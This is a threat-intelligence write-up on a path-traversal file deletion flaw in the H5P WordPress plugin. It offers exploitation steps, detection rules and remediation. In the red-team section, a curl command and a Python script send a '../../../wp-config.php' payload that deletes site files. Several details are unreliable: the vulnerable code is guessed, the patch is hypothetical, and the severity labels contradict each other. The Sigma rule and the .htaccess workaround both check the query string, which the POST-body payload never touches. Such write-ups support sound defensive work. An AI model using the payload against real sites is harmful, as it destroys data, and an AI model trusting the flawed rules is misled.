CVE-2026-57321

Executive Summary

CVE-2026-57321 is a critical arbitrary file deletion vulnerability affecting the H5P plugin (Contributor) for WordPress, up to and including version 1.17.7. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to delete arbitrary files on the server, potentially leading to a complete denial of service or data destruction. The vulnerability stems from insufficient path validation in file deletion operations, enabling path traversal attacks. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical impact is severe.

Supply Chain & Package Security

This vulnerability affects the H5P plugin distributed through the WordPress plugin repository. As a WordPress plugin, it is part of the broader WordPress ecosystem and is not an NPM, PyPI, Go, or Ruby package. Users should monitor the official WordPress plugin repository for updates.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An attacker needs contributor-level access.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): None (N) - No data is exposed.
• Integrity (I): High (H) - Arbitrary files can be deleted.
• Availability (A): High (H) - File deletion can cause denial of service.

Threat Level: High (7.1) - The ability to delete arbitrary files can lead to complete site compromise and data loss.

Deep Dive & Mechanics

The vulnerability resides in the file deletion functionality of the H5P plugin. The plugin fails to properly sanitize user-supplied file paths before passing them to file deletion functions. An authenticated attacker can manipulate the file parameter in a deletion request to include path traversal sequences (e.g., ../) to delete files outside the intended directory.

The vulnerable code likely uses a function similar to unlink() or wp_delete_file() without validating that the target path is within the allowed upload directory. By crafting a request like:

POST /wp-admin/admin-ajax.php
action=h5p_delete_file&file=../../../wp-config.php

an attacker can delete critical WordPress files, including wp-config.php, which would break the site.

Vulnerable vs. Patched Code

Vulnerable Code (H5P <= 1.17.7):

function h5p_delete_file() {
    $file = $_POST['file'];
    if (file_exists($file)) {
        unlink($file);
    }
}

This code directly uses the user-supplied $file path without validation.

Patched Code (Hypothetical):

function h5p_delete_file() {
    $file = basename($_POST['file']);
    $upload_dir = wp_upload_dir();
    $allowed_path = $upload_dir['basedir'] . '/h5p/';
    $file_path = $allowed_path . $file;
    if (strpos(realpath($file_path), realpath($allowed_path)) === 0 && file_exists($file_path)) {
        unlink($file_path);
    }
}

The patched code uses basename() to strip directory components and validates that the resolved path is within the allowed directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with H5P plugin <= 1.17.7
• Contributor-level account credentials

Exploitation Steps:

1. Log in with contributor credentials.
2. Craft a POST request to delete wp-config.php:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=h5p_delete_file&file=../../../wp-config.php" \
  -c cookies.txt -b cookies.txt

3. Verify deletion by attempting to access the site.

Automated Exploit (Python):

import requests

target = "https://target.com"
session = requests.Session()
session.auth = ('contributor', 'password')

payload = {
    'action': 'h5p_delete_file',
    'file': '../../../wp-config.php'
}
response = session.post(f"{target}/wp-admin/admin-ajax.php", data=payload)
print(response.text)

Blue Team

Detection:

• Monitor for POST requests to admin-ajax.php with action=h5p_delete_file and suspicious file parameters containing ../.
• Alert on file deletion events for critical files like wp-config.php, .htaccess, or index.php.

Hunting:

• Search web server logs for admin-ajax.php requests with action=h5p_delete_file.
• Check for unexpected file deletions in the WordPress installation directory.

Indicators of Compromise (IOCs)

• File Paths: wp-config.php, .htaccess, index.php, wp-content/plugins/h5p/
• Log Entries: POST requests to /wp-admin/admin-ajax.php with action=h5p_delete_file and file parameter containing ../
• Network Patterns: HTTP requests with Content-Type: application/x-www-form-urlencoded and body containing action=h5p_delete_file
• File System: Missing critical WordPress files or unexpected empty directories

Detection Engineering

YARA Rule

rule CVE_2026_57321_H5P_File_Deletion {
    meta:
        description = "Detects exploitation attempts of CVE-2026-57321 in H5P plugin"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-57321"
    strings:
        $action = "h5p_delete_file"
        $traversal = "../"
        $wp_config = "wp-config.php"
    condition:
        $action and ($traversal or $wp_config)
}

Sigma Rule

title: CVE-2026-57321 H5P Arbitrary File Deletion
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation of CVE-2026-57321 in H5P WordPress plugin
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=h5p_delete_file'
        cs-uri-query|contains: 'file='
    condition: selection
falsepositives:
    - Legitimate H5P file deletion by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-57321 H5P Arbitrary File Deletion Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=h5p_delete_file"; http_client_body; content:"file="; http_client_body; pcre:"/\.\.\//"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the H5P plugin until a patch is available.
2. Restrict contributor-level accounts to only trusted users.
3. Implement a Web Application Firewall (WAF) rule to block requests containing action=h5p_delete_file with path traversal sequences.

Long-term Fix:

• Apply the vendor patch when released.
• Upgrade to H5P version > 1.17.7 once available.
• Implement file deletion validation in custom code.

Workaround:

• Add the following to .htaccess to block malicious requests:

RewriteEngine On
RewriteCond %{REQUEST_URI} admin-ajax\.php
RewriteCond %{QUERY_STRING} action=h5p_delete_file
RewriteRule .* - [F,L]

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert